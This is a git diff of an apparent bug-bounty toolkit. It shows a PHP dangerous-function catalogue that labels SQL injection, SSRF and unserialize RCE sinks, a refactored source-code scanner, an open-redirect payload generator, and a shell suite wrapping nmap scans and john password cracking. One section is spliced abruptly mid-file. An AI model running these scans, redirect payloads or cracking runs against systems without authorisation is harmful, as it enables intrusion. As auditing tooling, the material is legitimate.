SQLITE_BOTH [, string &$error_msg ]] ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "pg_query()": [ + "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", + "pg_query ([ resource $connection ], string $query ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "mysql_query()": [ + "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", + "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", + "SQL Injection", + "high", + "sink" + ], + "mysqli_query()": [ + "Performs a query against the database.", + "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "mysqli::query()": [ + "Performs a query against the database.", + "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "apache_setenv()": [ + "Sets the value of the Apache environment variable specified by variable.", + "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", + "ENV server variables overwrite", + "low", + "sink" + ], + "dl()": [ + "Loads a PHP extension at runtime", + "dl ( string $library ) : bool", + "Code Injection, RCE (in certain conditions)", + "low", + "sink" + ], + "escapeshellarg()": [ + "Escape a string to be used as a shell argument", + "escapeshellarg ( string $arg ) : string", + "", + "low" + ], + "escapeshellcmd()": [ + "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", + "escapeshellcmd ( string $command ) : string", + "", + "low" + ], + "get_cfg_var()": [ + "Gets the value of a PHP configuration option", + "get_cfg_var ( string $option ) : mixed", + "Information Disclosure", + "low" + ], + "get_current_user()": [ + "Gets the name of the owner of the current PHP script", + "get_current_user ( void ) : string", + "Information Disclosure", + "low" + ], + "getcwd()": [ + "Gets the current working directory", + "getcwd ( void ) : string", + "Information Disclosure", + "low" + ], + "getenv()": [ + " Gets the value of an environment variable", + "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", + "Information Disclosure", + "low" + ], + "php_uname()": [ + "Returns information about the operating system PHP is running on", + "php_uname ([ string $mode = \"a\" ] ) : string", + "Information Disclosure", + "low" + ], + "phpinfo()": [ + "Outputs information about PHP's configuration", + "phpinfo ([ int $what = INFO_ALL ] ) : bool", + "Information Disclosure", + "medium" + ], + "putenv()": [ + "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", + "putenv ( string $setting ) : bool", + "ENV variable create/owerwrite", + "low", + "sink" + ], + "symlink()": [ + "Creates a symbolic link to the existing target with the specified name link.", + "symlink ( string $target , string $link ) : bool", + "LFI (in certain conditions)", + "low" + ], + "syslog()": [ + "Generate a system log message", + "syslog ( int $priority , string $message ) : bool", + "Log poisoning", + "low" + ], + "curl_exec()": [ + "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", + "curl_exec ( resource $ch ) : mixed", + "SSRF", + "medium", + "sink" + ], + "__destruct()": [ + "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", + "__destruct ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "high", + "sink" + ], + "__wakeup()": [ + "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", + "__wakeup ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__sleep()": [ + "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "filter_var()": [ + "Filters a variable with a specified filter", + "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", + "Validation bypass (in certain conditions)", + "low" + ], + "file_put_contents()": [ + "Write data to a file", + "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", + "Arbitrary file write", + "high", + "source" + ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], + "SELECT.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "INSERT.*INTO": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "UPDATE.*": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "DELETE.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical", + "source" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical", + "source" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical", + "source" + ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "high", + "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "medium", + "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" + ] + } } diff --git a/pef/pef.py b/pef/pef.py index 2161b05..80cb34a 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,61 +1,72 @@ #!/usr/bin/env python3 # -# PHP Exploitable Functions/Vars Scanner +# PHP source code grep tool # bl4de | github.com/bl4de | hackerone.com/bl4de # -# pylint: disable=C0103 +# pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary -# //TODO: +# @TODO: # - allow to scan folder without subdirs # - allow to scan files by pattern, eg. *.php # - exclude 'echo' lines without HTML tags +## Sinks and Sources +# +# for an SQLi, you need a code that makes a raw query to the database +# for an SSRF, you need a code that makes an HTTP request +# for an LFI, you need a code that reads a file +# for an XXE, you need a code that parses an XML with a concrete configuration +# for a DOM-XSS, you need a code that executes HTML or JavaScript +# +# When you are going sources to sinks, the process is: +# +# - you encounter a function call +# - you find the definition +# - repeat until the sink +# +# For sinks to sources, the process is: +# +# - you are in the function definition +# - you find a call of this function. +# - repeat until the source +# -""" -pef.py - PHP source code advanced grep utility -""" -import sys +import argparse import os import re -import argparse +import sys -from imports import pefdefs -from imports import pefdocs +from imports.pefdocs import exploitableFunctions, exploitableFunctionsDesc from imports.beautyConsole import beautyConsole +# allowed scan levels +ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] +DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' -def banner(): - """ - Prints welcome banner with contact info - """ - print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", " " * 35, "-" * 16) - print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", - " " * 22, "-" * 16) - print("-" * 100, "\33[0m\n") - +ALLOWED_LANG = ['PHP', 'JavaScript'] +DEFAULT_LANG = 'PHP' class PefEngine: """ implements pef engine """ - def __init__(self, recursive, verbose, critical, sql, filename, pattern): + def __init__(self, lang, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ - self.recursive = recursive # recursive scan files in folder(s) - self.verbose = verbose # show prev/next lines - self.critical = critical # scan only for critical set of functions - self.sql = sql # scan for inline SQL queries - self.filename = filename # name of file/folder to scan - self.pattern = pattern # pattern(s) to look for, if set - - self.scanned_files = 0 # number of scanned files in total - self.found_entries = 0 # total number of findings - - self.severity = { # severity scale + self.lang = lang # selected language + self.level = level # scan only for level set of functions + self.source_or_sink = source_or_sink # show only sinks or sources + self.filename = filename # name of file/folder to scan + self.skip_vendor = skip_vendor + self.phpfunction = '' if phpfunction is None else phpfunction + self.verbose = verbose + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings + + self.severity = { # severity scale "high": 0, "medium": 0, "low": 0 @@ -64,257 +75,209 @@ def __init__(self, recursive, verbose, critical, sql, filename, pattern): self.header_printed = False return - def header_print(self, file_name, header_print): - """ - prints file header - """ - if self.header_printed == False: - print(beautyConsole.getColor("white") + "-" * 100) - print("FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n") - self.header_printed = True - return self.header_printed - - def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total): + def analyse_line(self, l, i, fn, f, line): """ analysis of single line of code; searches for pattern (passed as fn and atfn) occurence if occurence found, output is printed """ + total_number_of_isses = None + meets_criteria = 0 - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = "{}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - - # try to match --pattern if set, using RegExp - if self.pattern: - pattern = re.compile(self.pattern[0]) - if re.match(pattern, line): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) - else: - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) - return total - - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): + if fn in line: + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + return (meets_criteria, total_number_of_isses) + + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ impact_color = { - "low": "green", - "medium": "yellow", - "high": "red" + "low": "grey", + "medium": "green", + "high": "yellow", + "critical": "red" } - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) - else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - - # print legend only if there i sentry in pefdocs.py - if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ - 0] - syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] - vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) - + meets_criteria = 0 + # print legend only if there is entry in pefdocs.py + + if fn and fn.strip() in exploitableFunctionsDesc[self.lang].keys(): + doc = exploitableFunctionsDesc[self.lang].get(fn.strip()) + impact = doc[3] + + if (impact.upper() in level.upper()) or level == 'ALL': + if self.phpfunction == '' or self.phpfunction in fn: + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, + beautyConsole.getColor( + impact_color[impact]), + beautyConsole.getColor(impact_color[impact]), + _line.strip()[:255], + beautyConsole.getColor("grey"))) + if self.verbose: + print(f"\t{doc[1]}\n\t{doc[0]}\n") + meets_criteria += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + - beautyConsole.getSpecialChar("endline")) - print() - return + return meets_criteria def main(self, src): """ main engine loop """ - f = open(src, "r") + f = open(str(src), "r", encoding="ISO-8859-1") i = 0 - total = 0 - filenamelength = len(src) - linelength = 97 + res = None + file_found = 0 all_lines = f.readlines() - - self.header_printed = False - prev_prev_line = "" - prev_line = "" - next_line = "" - next_next_line = "" for l in all_lines: - if i > 2: - prev_prev_line = all_lines[i - 2].rstrip() - if i > 1: - prev_line = all_lines[i - 1].rstrip() - if i < (len(all_lines) - 1): - next_line = all_lines[i + 1].rstrip() - if i < (len(all_lines) - 2): - next_next_line = all_lines[i + 2].rstrip() - i += 1 line = l.rstrip() - if self.critical: - for fn in pefdefs.critical: - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - else: - for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if self.critical == False and not self.pattern: - for dp in pefdefs.fileInclude: - total = self.analyse_line(l, i, dp, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - for globalvars in pefdefs.globalVars: - total = self.analyse_line(l, i, globalvars, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - for refl in pefdefs.reflectedProperties: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if sql == True: - for refl in pefdefs.otherPatterns: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if total < 1: - pass - else: - print(beautyConsole.getColor("red") + - "Found %d interesting entries\n" % (total) + - beautyConsole.getSpecialChar("endline")) - - return total # return how many findings in current file + if self.level: + if not self.is_comment(line): + for fn in exploitableFunctions[self.lang]: + (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) + if number_of_issues is not None: + res = True + file_found += number_of_issues + return (res, file_found) # return how many findings in current file def run(self): """ runs scanning """ - if self.recursive: - for root, subdirs, files in os.walk(self.filename): + total_found = 0 + + print( + f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") + + if os.path.isdir(str(self.filename)): + for root, _, files in os.walk(self.filename): + if self.skip_vendor is True and "vendor" in root: + continue for f in files: - if f.find('php') > 0: + extension = f.split('.')[-1:][0] + if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res + (res, file_found) = self.main(os.path.join(root, f)) + if file_found > 0: + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n") + total_found += file_found else: self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - - print(beautyConsole.getColor("white") + "-" * 100) - - print( - f"{beautyConsole.getColor('green')}\n>>> {self.scanned_files} file(s) scanned") - if self.found_entries > 0: - print( - f"{beautyConsole.getColor('red')}>>> {self.found_entries} interesting entries found\n") - else: - print(" No interesting entries found :( \n") + (res, total_found) = self.main(self.filename) + # print summary + self.print_summary(total_found) - print("{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", self.severity.get("medium"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", self.severity.get("low"))) + def is_comment(self, line: str) -> bool: + """ + If line is a comment, we should ignore it + """ + line = re.sub(r"\s+", "", line) + return line.startswith("/") or line.startswith("*") - print("\n") + def print_summary(self, total_found: int) -> None: + """ + prints summary at the bottom of search results + """ + print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") + print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") + print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") -# main program -if __name__ == "__main__": +def banner(): + """ + Prints welcome banner with contact info + """ + print(beautyConsole.getColor("green") + "\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Source Code grep tool", + " " * 35, "-" * 16) + print("-" * 6, " https://github.com/bl4de ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") +def parse_arguments(): + """ + Parses command line arguments + """ parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__ + description="PHP Source Code grep tool", + add_help=True ) - filename = '.' # initial value for file/dir to scan is current directory - parser.add_argument( - "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-c", "--critical", help="look only for critical functions", action="store_true") + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( - "-p", "--pattern", help="look only for particular code pattern(s)") + "-l", "--level", + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS}") parser.add_argument( - "-s", "--sql", help="look for raw SQL queries", action="store_true") + "-L", "--lang", + help=f"language: PHP, JavaScript; default: {DEFAULT_LANG}") parser.add_argument( - "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( - "-n", "--noglobals", help="only functions (no $_XXX)", action="store_true") + "-K", "--sinks", help="show only sinks", action="store_true") + parser.add_argument( + "-f", + "--function", + help="Search for particular PHP function (eg. unserialize)", + ) parser.add_argument( - "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") - args = parser.parse_args() - - verbose = True if args.verbose else False - sql = True if args.sql else False - critical = True if args.critical else False - pattern = args.pattern.split(',') if args.pattern else [] - filename = args.file - - try: - # main orutine starts here - engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) - engine.run() - except UnicodeDecodeError as e: - print("UnicodeDecodeError in {}: {}".format(filename, e)) - pass - except FileNotFoundError as e: - print("Requested file not found, check the path :)") - except IsADirectoryError as e: - print(f"{filename} is a directory and requires -r flag") - except Exception as e: - print("Unexpected error:") - print(type(e)) - print(e.args) - print(e) - finally: - # cleaning up - - # exiting - print("[+] Done") - exit(0) + "-d", + "--dir", + help="Directory to scan (or single file, optionally)", + ) + return parser.parse_args() + +# main program +if __name__ == "__main__": + + if len(sys.argv) == 1: + print(f"{beautyConsole.getColor('red')}No arguments provided, use -h for help") + exit(1) + + args = parse_arguments() + + lang = args.lang.lower() if args.lang else DEFAULT_LANG.lower() + level = args.level.upper() if args.level else 'HIGH,CRITICAL' + + # if we are looking for a specific function, level is not taken into account + if args.function is not None: + level = 'ALL' + source_or_sink = 'ALL' + + if args.sources: + source_or_sink = 'source' + if args.sinks: + source_or_sink = 'sink' + + # if no directory or file is provided, exit + if args.dir is None: + print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") + exit(1) + + # check if the langauge selected is available + if lang not in [l.lower() for l in ALLOWED_LANG]: + print(f"{beautyConsole.getColor('red')}Language {args.lang} is not supported, use one of: {', '.join(ALLOWED_LANG)}") + exit(1) + + filename = args.dir + + # main orutine starts here + engine = PefEngine(lang, level, source_or_sink, + filename, args.skip_vendor, args.function, args.verbose) + engine.run() diff --git a/pef/test.inc b/pef/test.inc new file mode 100644 index 0000000..fe82216 --- /dev/null +++ b/pef/test.inc @@ -0,0 +1,5 @@ + str: + ''' + generates and returns single payload + ''' + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + if param: + payload = re.sub("PARAM", param, payload) + return payload + + +def save_output(output: str) -> None: + ''' + Saves output to file defined as out param + ''' + with open(output, "w") as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] + + parser = argparse.ArgumentParser() -parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) +parser.add_argument("--target", "-t", action="store", + help="Enter the target address", required=True) parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", required=True) -parser.add_argument("--output", "-o", action="store", help="Enter output file name") +parser.add_argument("--output", "-o", action="store", + help="Enter output file name") +parser.add_argument("--param", "-p", action="store", + help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -17,17 +42,13 @@ junk = re.compile(r"https?://") target = junk.sub("", args.target) dest = junk.sub("", args.dest) - with open("payloads.txt", "r") as handle: templates = handle.readlines() for payload in templates: - payload = payload.rstrip() - payload = re.sub("TARGET", target, payload) - payload = re.sub("DEST", dest, payload) + payload = generate(payload, target, dest, args.param) print(payload) payloads.append(payload) if args.output: - with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] \ No newline at end of file + save_output(args.output) diff --git a/s0mbra.sh b/s0mbra.sh index 97f2f79..17d618a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,171 +1,136 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### ### -### S0mbra ### -### ### - - -# BugBounty/CTF/PenTest/Hacking suite -# collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. -# CTX: bl4de@wearehackerone.com HACKING_HOME="/Users/bl4de/hacking" -GREEN='\033[1;32m' -GRAY='\033[1;30m' +GRAY='\033[38;5;8m' RED='\033[1;31m' +GREEN='\033[1;32m' +LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +BLUE_BG='\033[48;5;4m' MAGENTA='\033[1;35m' +CYAN='\033[36m' CLR='\033[0m' -NEWLINE='\n' - - -__logo=" - :PB@Bk: - ,jB@@B@B@B@BBL. - 7G@B@B@BMMMMMB@B@B@Nr - :kB@B@@@MMOMOMOMOMMMM@B@B@B1, - :5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu. - 70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr - G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S - @@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@ - B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B - @@@B@B 7@@@MMOMOMOMM@B@: @@B@B@ - @@OLB. BNB@MMOMOMM@BEB rBjM@B - @@ @ M OBOMOMM@q M .@ @@ - @@OvB B:u@MMOMOMMBJiB .BvM@B - @B@B@J 0@B@MMOMOMOMB@B@u q@@@B@ - B@MBB@v G@@BMMMMMMMMMMMBB@5 F@BMM@B - @BBM@BPNi LMEB@OMMMM@B@MMOMM@BZM7 rEqB@MBB@ - B@@@BM B@B@B qBMOMB@B@B@BMOMBL B@B@B @B@B@M - J@@@@PB@B@B@B7G@OMBB. ,@MMM@qLB@B@@@BqB@BBv - iGB@,i0@M@B@MMO@E : M@OMM@@@B@Pii@@N: - . B@M@B@MMM@B@B@B@MMM@@@M@B - @B@B.i@MBB@B@B@@BM@::B@B@ - B@@@ .B@B.:@B@ :B@B @B@O - :0 r@B@ B@@ .@B@: P: - vMB :@B@ :BO7 - ,B@B -" - - -# config commands -set_ip() { - export IP="$1" -} - -interactive() { - clear - trap '' SIGINT SIGQUIT SIGTSTP - set_ip "$1" - local choice - echo "$__logo" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "$YELLOW[1]$CLR\t\t $GRAY-> run full nmap scan + -sV -sC on open port(s)$CLR" - echo -e "$YELLOW[2]$CLR\t\t $GRAY-> run SMB enumeration (if port 445 is open)$CLR" - echo -e "$YELLOW[3]$CLR\t\t $GRAY-> run nfs scan (port 2049 open)$CLR" - echo -e "$YELLOW[4]$CLR\t\t $GRAY-> run nikto against HTTP server on port 80 with default plugins$CLR" - echo -e "" - echo -e "$YELLOW[0]$CLR\t\t $GRAY-> Quit" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - read -p ">> " choice - case $choice in - 1) full_nmap_scan "$IP" ;; - 2) smb_enum "$IP" ;; - 3) nfs_enum "$IP" ;; - 4) nikto -host "$IP" -Plugins tests ;; - 0) exit ;; - *) interactive "$IP" - esac -} -# runs -p- against IP; then -sV -sC -A against every open port found +# runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" - echo -e "\t\t -> search all open ports..." - ports=$(nmap -p- "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log - echo -e "[+] Done!" + if [[ -z "$2" ]]; then + echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" + ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e " ...search open ports...$CLR" + ports=$(nmap --top-ports "$2" --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + fi + + echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "Full nmap finished, choom!" with title "s0mbra says:"' +} + +# runs --top-ports $2 against IP +quick_nmap_scan() { + if [[ -z "$2" ]]; then + echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" + nmap -p- --min-rate=1000 -T4 "$1" + else + echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" + nmap --top-ports "$2" --min-rate=1000 -T4 "$1" + fi + + echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "Quick nmap finished, choom!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] http_server() { - echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" - python3 -m http.server "$1" + STACK=$2 + echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" + echo -e "$GRAY\navailable network interfaces:$YELLOW" + ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 + echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" + ls -l + echo -e "\n\n" + if [[ -z "$1" ]]; then + PORT=7777; + else + PORT=$1 + fi + + case "$STACK" in + python) + python3 -m http.server $PORT + ;; + php) + php -S 127.0.0.1:$PORT + ;; + esac + echo -e "\n$BLUE[s0mbra] Done." } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { - echo -e "$BLUE[+] Running john with rockyou dictionary against $1 of type $2$CLR" + echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john 